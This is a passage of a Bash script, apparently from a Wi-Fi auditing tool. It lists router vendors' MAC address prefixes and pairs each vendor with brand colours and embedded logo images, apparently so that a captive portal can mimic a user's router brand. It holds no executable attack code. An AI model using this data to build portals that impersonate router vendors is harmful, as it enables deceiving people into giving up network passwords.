										["Juniper"]="000585 0010DB 00121E 0014F6 0017CB 0019E2 001BC0 001DB5 001F12 002159 002283 00239C 0024DC 002688 003146 009069 045C6C 0881F4 0C599C 0C8126 0C8610 100E7E 1039E9 182AD3 1C9C8C 201BC9 204E71 20D80B 288A1C 28A24B 28C0DA 2C2131 2C2172 2C6BF5 307C5E 30B64F 384F49 3C6104 3C8AB0 3C8C93 3C94D5 407183 40A677 40B4F0 40DEAD 44AA50 44ECCE 44F477 4C16FC 4C9614 50C58D 50C709 541E56 544B8C 54E032 5800BB 5C4527 5C5EAB 64649B 648788 64C3D6 7819F7 784F9B 78507C 78FE3D 7C2586 7CE2CA 80711F 807FF8 80ACAC 841888 84B59C 84C1C1 88A25E 88D98F 88E0F3 88E64B 94BF94 94F7AD 9C8ACB 9CCC83 A8D0E5 AC4BC8 B033A6 B0A86E B0C69A B8C253 C00380 C042D0 C0535E C0BFA7 C8E7F0 CCE17F CCE194 D007CA D0DD49 D404FF D818D3 D8B122 DC38E1 E45D37 E4FC82 E8B6C2 EC13DB EC3873 EC3EF7 F01C2D F04B3A F07CC7 F4A739 F4B52F F4CC55 F8C001 FC3342 E08B258"
										["Linksys"]="000C41 000E08 000F66 001217 001310 0014BF 0016B6 001839 0018F8 001A70 001C10 001D7E 001EE5 002129 00226B 002369 00259C 20AA4B 48F8B3 586D8F 687F74 98FC11 C0C1C0 C8B373 C8D719"
										["Mercusys"]="00EBD8 088AF1 0C1C31 30169D 94742E"
										["Mitrastar"]="0C4C39 345760 84AA9C 9897D1 A433D7 ACC662 B046FC B8FFB3 C03DD9 CCD4A1 CCEDDC D8C678 E04136 E4AB89"
										["Motorola"]="000E5C 04D395 08AA55 08CC27 0CCB85 141AA3 1430C6 1C56FE 2446C8 24DA9B 304B07 34BB26 3880DF 40786A 408805 441C7F 4480EB 58D9C3 5C5188 601D91 60BEB5 68C44D 8058F8 806C1B 84100D 88797E 88B4A6 8CF112 9068C3 90735A 9CD917 A470D6 A89675 B07994 BC98DF BCFFEB C08C71 C8C750 CC0DF2 CC61E5 CCC3EA D00401 D07714 D463C6 D4C94B DCBFE9 E0757D E09861 E4907E E89120 EC8892 F0D7AA F4F1E1 F4F524 F81F32 F8CFC5 F8E079 F8F1B6"
										["Netgear"]="00095B 000FB5 00146C 00184D 001B2F 001E2A 001F33 00223F 0024B2 0026F2 008EF2 04A151 08028E 0836C9 08BD43 100C6B 100D7F 10DA43 1459C0 200CC8 204E7F 20E52A 288088 28C68E 2C3033 2CB05D 30469A 3894ED 3C3786 405D82 4494FC 44A56E 4C60DE 504A6E 506A03 6CB0CE 744401 78D294 803773 841B5E 8C3BAD 9C3DCF 9CC9EB 9CD36D A00460 A021B7 A040A0 A06391 A42B8C B03956 B07FB9 B0B98A BCA511 C03F0E C0FFD4 C40415 C43DC7 CC40D0 DCEF09 E0469A E091F5 E4F4C6 E8FCAF F87394"
										["Samsung"]="0000F0 0007AB 001247 0012FB 001377 001599 0015B9 001632 00166B 00166C 0016DB 0017C9 0017D5 0018AF 001A8A 001B98 001C43 001D25 001DF6 001E7D 001EE1 001EE2 001FCC 001FCD 00214C 0021D1 0021D2 002339 00233A 002399 0023D6 0023D7 002454 002490 002491 0024E9 002566 002567 00265D 00265F 006F64 0073E0 007C2D 008701 00B5D0 00BF61 00C3F4 00E3B2 00F46F 00FA21 04180F 041BBA 04B1A1 04B429 04BA8D 04BDBF 04FE31 0808C2 0821EF 08373D 083D88 087808 088C2C 08AED6 08BFA0 08D42B 08ECA9 08EE8B 08FC88 08FD0E 0C1420 0C2FB0 0C715D 0C8910 0CA8A7 0CB319 0CDFA4 0CE0DC 1007B6 101DC0 1029AB 103047 103917 103B59 1077B1 1089FB 108EE0 109266 10D38A 10D542 140152 141F78 1432D1 14568E 1489FD 1496E5 149F3C 14A364 14B484 14BB6E 14F42A 1816C9 1819D6 181EB0 182195 18227E 182666 183A2D 183F47 184617 184ECB 1854CF 1867B0 188331 18895B 18E2C2 1C232C 1C3ADE 1C5A3E 1C62B8 1C66AA 1CAF05 2013E0 202D07 20326C 205531 205EF7 206E9C 20D390 20D5BF 244B03 244B81 245AB5 2468B0 24920E 24C696 24DBED 24F5AA 24FCE5 2802D8 2827BF 28395E 288335 28987B 28BAB5 28CC01 2C4053 2C4401 2CAE2B 2CBABA 301966 306A85 3096FB 30C7AE 30CBF8 30CDA7 30D587 30D6C9 34145F 342D0D 343111 348A7B 34AA8B 34BE00 34C3AC 380195 380A94 380B40 3816D1 382DD1 382DE8 3868A4 386A77 389496 389AF6 38D40B 38ECE4 3C0518 3C20F6 3C576C 3C5A37 3C6200 3C8BFE 3CA10D 3CBBFD 3CDCBC 3CF7A4 40163B 40D3AE 444E1A 445CE9 446D6C 44783E 44F459 48137E 4827EA 4844F7 4849C7 485169 48794D 489DD1 48C796 4C3C16 4CA56D 4CBCA5 4CC95E 4CDD31 5001BB 503275 503DA1 5050A4 5056BF 507705 508569 5092B9 509EA7 50A4C8 50B7C3 50C8E5 50F0D3 50F520 50FC9F 54219D 5440AD 5492BE 549B12 54B802 54BD79 54F201 54FA3E 54FCF0 58B10F 58C38B 58C5CB 5C2E59 5C3C27 5C497D 5C5181 5C865C 5C9960 5CC1D7 5CCB99 5CE8EB 5CF6DC 60684E 606BBD 6077E2 608E08 608F5C 60A10A 60A4D0 60AF6D 60C5AD 60D0A9 641CAE 641CB0 646CB2 647791 647BCE 6489F1 64B310 64B853 680571 682737 684898 685ACF 687D6B 68BFC4 68E7C2 68EBAE 6C006B 6C2F2C 6C2F8A 6C8336 6CB7F4 6CDDBC 6CF373 701F3C 70288B 702AD5 705AAC 70CE8C 70F927 70FD46 74458A 749EF5 74EB80 78009E 781FDB 782327 7825AD 7840E4 78471D 78521A 78595E 789ED0 78A873 78ABBB 78BDBC 78C3E9 78F7BE 7C0BC6 7C1C68 7C2302 7C2EDD 7C38AD 7C6456 7C787E 7C8956 7C8BB5 7C9122 7CF854 7CF90E 8018A7 8020FD 8031F0 804E70 804E81 805719 80656D 807B3E 8086D9 80CEB9 8425DB 842E27 845181 8455A5 849866 84A466 84B541 84C0EF 88299C 887598 888322 889B39 889F6F 88A303 88ADD2 88BD45 8C1ABF 8C71F8 8C7712 8C79F5 8C83E1 8CBFA6 8CC8CD 8CE5C0 9000DB 900628 90633B 9097F3 90B144 90EEC7 90F1AA 9401C2 942DDC 94350A 945103 9463D1 9476B7 947BE7 948BC1 94B10A 94D771 98063C 981DFA 98398E 9852B1 9880EE 988389 9C0298 9C2A83 9C3AAF 9C65B0 9C8C6E 9CA513 9CD35B 9CE063 9CE6E7 A00798 A01081 A02195 A027B6 A06090 A07591 A0821F A0AC69 A0B4A5 A0CBFD A407B6 A4307A A46CF1 A48431 A49A58 A4D990 A4EBD3 A80600 A816D0 A82BB9 A8346A A8515B A87C01 A88195 A887B3 A89FBA A8F274 AC1E92 AC3613 AC5A14 ACAFB9 ACC33A ACEE9E B047BF B06FE0 B0C4E7 B0C559 B0D09C B0DF3A B0EC71 B41A1D B43A28 B46293 B47443 B4BFF6 B4CE40 B4EF39 B857D8 B85A73 B85E7B B86CE8 B8BBAF B8BC5B B8C68E B8D9CE BC1485 BC20A4 BC4486 BC4760 BC5451 BC72B1 BC765E BC79AD BC7ABF BC851F BCA58B BCB1F3 BCD11F BCE63F C01173 C0174D C048E6 C06599 C087EB C08997 C0BDC8 C0D2DD C0D3C0 C0DCDA C44202 C45006 C4576E C462EA C4731E C488E5 C493D9 C4AE12 C81479 C819F7 C83870 C87E75 C8A823 C8D7B0 CC051B CC07AB CC2119 CC464E CC6EA4 CCB11A CCF9E8 CCFE3C D003DF D0176A D03169 D059E4 D0667B D07FA0 D087E2 D0B128 D0C1B1 D0D003 D0DFC7 D0FCCC D411A3 D47AE2 D487D8 D48890 D48A39 D49DC0 D4AE05 D4E6B7 D4E8B2 D80831 D80B9A D831CF D85575 D857EF D85B2A D868C3 D890E8 D8C4E9 D8E0E1 DC44B6 DC6672 DC74A8 DC8983 DCCF96 DCDCE2 DCF756 E09971 E0AA96 E0CBEE E0D083 E0DB10 E4121D E432CB E440E2 E458B8 E458E7 E45D75 E47CF9 E47DBD E492FB E4B021 E4E0C5 E4F3C4 E4F8EF E4FAED E8039A E81132 E83A12 E84E84 E89309 E8B4C8 E8E5D6 EC107B ECAA25 ECE09B F008F1 F05A09 F05B7B F06BCA F0728C F08A76 F0E77E F0EE10 F40E22 F4428F F47190 F47B5E F47DEF F49F54 F4C248 F4D9FB F4FEFB F83F51 F877B8 F884F2 F8D0BD F8E61A F8F1E6 FC039F FC1910 FC4203 FC643A FC8F90 FCA13E FCA621 FCAAB6 FCC734 FCDE90 FCF136"
										["SMC"]="0004E2 000BC5 0013F7 00222D 0023C6 0026F3 004027 78CD8E 849D64 B89BC9 C4393A E4956E0"
										["Sphairon"]="001C28"
										["Technicolor"]="2C301A F01628 101331 20B001 30918F 589835 705A9E 9C9726 A0B53C A491B1 A4B1E9 C4EA1D D4351D D4925E E0B9E5"
										["Teldat"]="001967 00A026"
										["TP-Link"]="000AEB 001478 0019E0 001D0F 002127 0023CD 002586 002719 081F71 085700 0C4B54 0C722C 0C8063 0C8268 10FEED 147590 148692 14CC20 14CF92 14E6E4 18A6F7 18D6C7 1C3BF3 1C4419 1CFA68 206BE7 20DCE6 246968 282CB2 28EE52 30B49E 30B5C2 30FC68 349672 34E894 388345 3C46D8 3C6AD2 40169F 403F8C 44B32D 480EEC 487D2E 503EAA 50BD5F 50C7BF 50D4F7 50FA84 547595 54A703 54C80F 54E6FC 5C63BF 5C899A 603A7C 60E327 645601 6466B3 646E97 647002 68FF7B 6CE873 704F57 7405A5 74DA88 74EA3A 7844FD 78A106 7C8BCA 7CB59B 808917 808F1D 8416F9 882593 8C210A 8CA6DF 90AE1B 90F652 940C6D 94D9B3 984827 98DAC4 98DED0 9C216A 9CA615 A0F3C1 A42BB0 A8154D A8574E AC84C6 B0487A B04E26 B09575 B0958E B0BE76 B8F883 BC4699 BCD177 C025E9 C04A00 C06118 C0E42D C46E1F C47154 C4E984 CC08FB CC32E5 CC3429 D03745 D076E7 D0C7C0 D4016D D46E0E D807B6 D80D17 D8150D D84732 D85D4C DC0077 DCFE18 E005C5 E4D332 E894F6 E8DE27 EC086B EC172F EC26CA EC888F F0F336 F483CD F4EC38 F4F26D F81A67 F8D111 FCD733"
										["Ubiquiti"]="00156D 002722 0418D6 18E829 24A43C 44D9E7 687251 68D79A 7483C2 74ACB9 788A20 802AA8 B4FBE4 DC9FDB E063DA F09FC2 F492BF FCECDA"
										["Vantiva"]="F85E42"
										["Xavi"]="000138 E09153"
										["ZTE"]="000947 0015EB 0019C6 001E73 002293 002512 0026ED 004A77 041DC7 049573 08181A 083FBC 086083 0C1262 0C3747 0C72D9 10D0AB 143EBF 146080 146B9A 18132D 1844E6 18686A 1C2704 208986 20E882 24586E 247E51 24C44A 24D3F2 287B09 288CB8 28FF3E 2C26C5 2C957F 300C23 304240 309935 30D386 30F31D 343759 344B50 344DEA 346987 347839 34DAB7 34DE34 34E0CF 384608 386E88 38D82F 38E1AA 38E2DD 3CDA2A 3CF652 4413D0 44F436 44FB5A 44FFBA 48282F 4859A4 48A74E 4C09B4 4C16F1 4C494F 4CABFC 4CAC0A 4CCBF5 5078B3 50AF4D 540955 5422F8 54BE53 585FF6 5C3A3D 601466 601888 6073BC 64136C 681AB2 688AF0 689FF0 6C8B2F 6CA75F 6CD2BA 702E22 709F2D 744AA4 749781 74A78E 74B57E 781D4A 78312B 789682 78C1A7 78E8B6 7C3953 80B07B 84139F 841C70 84742A 847460 885DFB 88D274 8C14B4 8C68C8 8C7967 8CDC02 8CE081 8CE117 901D27 90869B 90C7D8 90D8F3 90FD73 949869 94A7B7 94BF80 94E3EE 98006A 981333 986CF5 98F428 98F537 9C2F4E 9C63ED 9C6F52 9CA9E4 9CD24B 9CE91C A091C8 A0EC80 A44027 A47E39 A4F33B A8A668 AC00D0 AC6462 B00AD5 B075D5 B0ACD2 B0B194 B0C19E B41C30 B49842 B4B362 B4DEDF B805AB BC1695 C09FE1 C0B101 C0FD84 C4741E C4A366 C85A9F C864C7 C87B5B C8EAF8 CC1AFA CC7B35 D0154A D058A8 D05BA8 D0608C D071C4 D437D7 D47226 D476EA D49E05 D4B709 D4C1C8 D855A3 D87495 D8A8C8 DC028E DC7137 DCDFD6 DCF8B9 E01954 E0383F E07C13 E0C3F3 E447B3 E47723 E47E9A E4BD4B E4CA12 E8A1F8 E8ACAD E8B541 EC1D7F EC237B EC6CB5 EC8263 EC8A4C ECF0FE F084C9 F41F88 F46DE2 F4B5AA F4B8A7 F4E4AD F80DF0 F8A34F F8DFA8 FC2D5E FC94CE FCC897"
										["Zyxel"]="001349 0019CB 0023F8 00A0C5 04BF6D 082697 1071B3 107BEF 143375 14360E 1C740D 2037F0 28285D 30BD13 404A03 48EDE6 4C9EFF 4CC53E 5067F0 50E039 54833A 588BF3 5C648E 5C6A80 5CE28C 5CF4AB 603197 64DD68 6C4F89 7049A2 78C57D 7C7716 80EA0B 88ACC0 8C5973 909F22 90EF68 980D67 A0E4CB B0B2DC B8D526 B8ECA3 BC7EC3 BC9911 BCCF4F C8544B C86C87 CC5D4E D41AD1 D43DF3 D8912A D8ECE5 E4186B E8377A EC3EB3 EC43F6 F08756 F44D5C F80DA9 FC22F4 FC9F2A FCF528"
									)

		declare -gA cp_router_colors=(
										["Alfa_Networks"]='#003399 #4B4B49 #CCCCCC data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALQAAAA8CAMAAAD48GC1AAAACXBIWXMAAA7EAAAOxAGVKw4bAAABelBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQDgQCAAAAfXRSTlMAAgQGCAoMDhASFBYYGhweICIkKCosLjAyNDY4Ojw+QEJESEpMTlBSVFZYWlxeYGJkZmhqbG5wcnR2eHp8foGDhYeJi42PkZOVl5mbnZ+ho6Wnqautr7Gztbe5u72/wcPFx8nLzc/R09XX2dvd3+Hj5efp6+3v8fP19/n7/RGBSo4AAAW0SURBVGje7Zr5Q9pIFMcnAcRjAVHU9azVVhTb0qr1Fg/Ubj2qoNLqalsQFUFdOSTBJP/7JhydSeaFYxfoL3x/QPPmzfDJ5OXNBUIN/WY12exWw+9FMFrtNlPZ3q0fTh5FSZJipapYRtwzzpLNmV8veTdheY06dUzO/aggI2Qc5SFbPvNSXp6iHfEhrDT7o9Qj20hLuhLNMPJivOBxxpTD/J74Dt6u79d3m/MpAW2PSFKl0EN3hEvpJ4kMe6pGT3QdRzNSOdAtMali6GmBdLkvGdasX9PqiI5jFyeVBb0nVQw9K6p9VktBe7WtRuE3hfkulQVtFyqGdmqYJb6jOPOoSDW7CDoOSOVBz2E/4eSY1hH17NufKIRA8Rf9ge4Lzgp5bpYJfYj90uVl/a/A8xgtVmEZeoJ+yPOiTOjTSqGHIYSYscggkALDbhhwjdQImrkAQ39Jv8Yi4faI/70x1A96iEBI4JeYs+l2dILo3v4rfDFbP+hzAvrjDv7/SK/CPFHhO3qBE8nTH/WCHiSyV8rchhOJ+FIndcQJ6DGEjvHVl6pAtzbTMuq6S15VwozAtzxLDimsPC7w+D4HqwANakvl3U+UCHIYG27x9Rw4ZyNePWlGsazh6zBbF2gyR/sUwyt8/WQBmp8hKqSasvFC3MZUPaB7iYgW+7T1D4COJgfD9ZztLXEbrXWADqgyQVadz/g2hqjWp4gKmXxWZILYtlN76B5RnQmy2samK22MGu8l4EEM4GaE3v8LLYYBka/XkSYT5ObjxOAxrV2ukOP2n7/MB9gaZGqcp7tEbSbQhkCqTT33J9c3F9hu5bDZXWNoH5UJckupa2zeVVV4R8bZa3jel2iuKbSDXC5swPM+oY9cGEbJcCLjwEQ8gk81hT4kM4FqDn+CC0IE2xuyo9XhPoELnrtrCE3kNm1K7sjgkvc4oslVfjIXTqw1rzAR7EztoPeBTGDJI+wSMdpSqOAiO3otH2JiXmTZJAQdbAHFVgStWgDnMwGbBBD+KqwWboBwckBDwaMZgJZEUP0VQe8CmYBNAghCT65wnDQWZqEgtDJdpKFhVQTdngEyAQgt/ciWMlekraco9K/twCpD75A1C5MzGFp6o5SNkZZzVBRaOqsJtC1DZwJdaCVGmUtwh0EHurAdWF3oT0Am0IWWNlXzbHlRw5aCzm8HVhXakgEHFj3oZwe64Anh3N3J6yi3BRHmSyk34h5jQ1wXep2st4eHj390mg4ghhS5baKnEsWapuDGtVs0/wmhoYYaaqihhhpSNOnJTmKHF7QF7LInq15qv9KT16SmYPqt8uleUMbakQV6xDW7tv3+rQngGFb+qpXZYZay93qUBRPjXmpR2wOPgkv+40lQ+5KZn15F/dSxgWxMxOSPd9rDurQ8HzZz2dXE5TFF4EzGPK7J1fv4K6qID654dlOhZmqbUbQgZPI9ajcgA6cbKRsMXeSHCFfQqWSvMuWeuLtcldf+4ri2tE/4lu3jpvNMDwWt7Ea+VO9kFaBtl0HqPDNwagz/zYLQn7sUtZQNjaI+hI68CxEGzXNUEPhFe2G+vg9Cj6g2uArQQ/Fd+igxcIoc/BwInYoqcpUP7Uk3NaX7O4RuFDqkCq+ThZjlQxR0YGx8Ob7H0tArz9DplgyNPma6qxEeyCE6xx8YFFppF+i4DXL5HjMJ5xT07cFXcQsBW+ehdWGNAaGZs+uNakCjsN+3Lb+pN3NJ+pEuFzZ83PTppBIe08IqQ/e0Fbl4nwmCRtbkEwC9ZlLEVgA9z3GDCNnFhz26zBRKu+Vvb5riL4xgTDszX4xQ9hhI/NSeZp58y+7aiHEKmstwitxgl8K/u7E9Pyj3GAQPLE3Ld+lIJB1boJ8Ct6l8DqXONL8BmRKUgy37TbRTbTfkFp1Geu1pzAnsaYPOUjVnZ/V+OtBmt7dB9vyXsEZNgOQbYmCIhmqpfwFz/swgp/LYEgAAAABJRU5ErkJggg=='
										["Arris"]='#CC0000 #000000 #999999 data:image/png;base64, '
										["Arista"]='#000000 #2E4053 #BDC3C7 data:image/png;base64, '
										["Aruba"]='#E2E2E2 #4C6FCB #5B5B5B data:image/svg+xml;base64, '
										["Asus"]='#283437 #279FD9 #C0C0C0 data:image/png;base64, '
										["AVMFritzBox"]='#0066CC #D9D9D9 #222222 data:image/png;base64, '
										["Belkin"]='#0057D8 #94CAE4 #D6D6D6 data:image/svg+xml;base64, '
										["CBN"]='#D1D1D1 #008536 #696969 data:image/png;base64, '
										["Cisco"]='#5B5B5B #8AB8E6 #D7D7D7 data:image/png;base64, '
										["Comtrend"]='#14317F #2D3E6A #5B5B5B data:image/png;base64, '
										["D-Link"]='#4B4C4D #FA7627 #5B5B5B data:image/png;base64, '
										["Edimax"]='#BD1C21 #231815 #D6D6D6 data:image/png;base64,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'
										["Fortinet"]='#77B81E #C7C7C7 #3D3D3D data:image/png;base64, '
										["Hewlett-Packard"]='#B2B2B2 #0096D5 #E5E5E5 data:image/png;base64, '
										["Huawei"]='#B2B2B2 #980101 #222222 data:image/png;base64, '
										["Juniper"]='#B4CFF1 #A8A8A8 #4A4A4A data:image/png;base64, '
										["Linksys"]='#0065B4 #70A0D4 #BFBFBF data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDE5LjAuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgLTI0OCAzODkgMTE0IDE2IiB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9Ii0yNDggMzg5IDExNCAxNiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5zdDB7ZmlsbDojMDAwO30KPC9zdHlsZT4KPHBvbHlnb24gY2xhc3M9InN0MCIgcG9pbnRzPSItMTY0LjYgNDA1IC0xNjAuNiA0MDUgLTE2MC42IDM5OS44IC0xNTMuNCAzODkgLTE1Ny44IDM4OSAtMTYyLjQgMzk2LjMgLTE2NyAzODkgLTE3MS43IDM4OSAtMTY0LjYgMzk5LjkiLz4KPHBvbHlnb24gY2xhc3M9InN0MCIgcG9pbnRzPSItMjAzLjUgMzk3IC0xOTQuOCAzODkgLTE4OS40IDM4OSAtMTk4LjEgMzk3IC0xODkuNCA0MDUgLTE5NC44IDQwNSIvPgo8cmVjdCBjbGFzcz0ic3QwIiB4PSItMjI5LjYiIHk9IjM4OSIgd2lkdGg9IjQuMSIgaGVpZ2h0PSIxNiIvPgoKCTxwYXRoIGNsYXNzPSJzdDAiIGQ9Im0tMTg4LjUgNDA1aDEyLjhjMi4yIDAgMy43LTEuMiAzLjctMy44di0yLjJjMC0yLjMtMS4yLTMuOC0zLjctMy44aC05LjZ2LTNoMTIuNHYtMy4yaC0xMi42Yy0yLjMgMC0zLjcgMS4zLTMuNyAzLjh2MmMwIDIuMiAxLjMgMy43IDMuNyAzLjdoOS42djMuM2gtMTIuNnYzLjIiLz4KCTxwYXRoIGNsYXNzPSJzdDAiIGQ9Im0tMTUzLjEgNDA1aDEzLjVjMi4yIDAgMy43LTEuMiAzLjctMy44di0yLjJjMC0yLjMtMS4yLTMuOC0zLjctMy44aC05LjZ2LTNoMTIuNHYtMy4yaC0xMi43Yy0yLjMgMC0zLjcgMS4zLTMuNyAzLjh2MmMwIDIuMiAxLjMgMy43IDMuNyAzLjdoOS42djMuM2gtMTMuMnYzLjIiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iLTI0OCA0MDUgLTIzMi4xIDQwNSAtMjMyLjEgNDAxLjggLTI0My45IDQwMS44IC0yNDMuOSAzODkgLTI0OCAzODkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iLTIyMi40IDQwNSAtMjE4LjcgNDA1IC0yMTguNyAzOTMuNiAtMjA2LjYgNDA1IC0yMDQuMSA0MDUgLTIwNC4xIDM4OSAtMjA3LjggMzg5IC0yMDcuOCAzOTguNiAtMjE3LjkgMzg5IC0yMjIuNCAzODkiLz4KCTxwYXRoIGNsYXNzPSJzdDAiIGQ9Im0tMTM1IDM4OS4yaC0wLjR2MWgtMC4ydi0xaC0wLjR2LTAu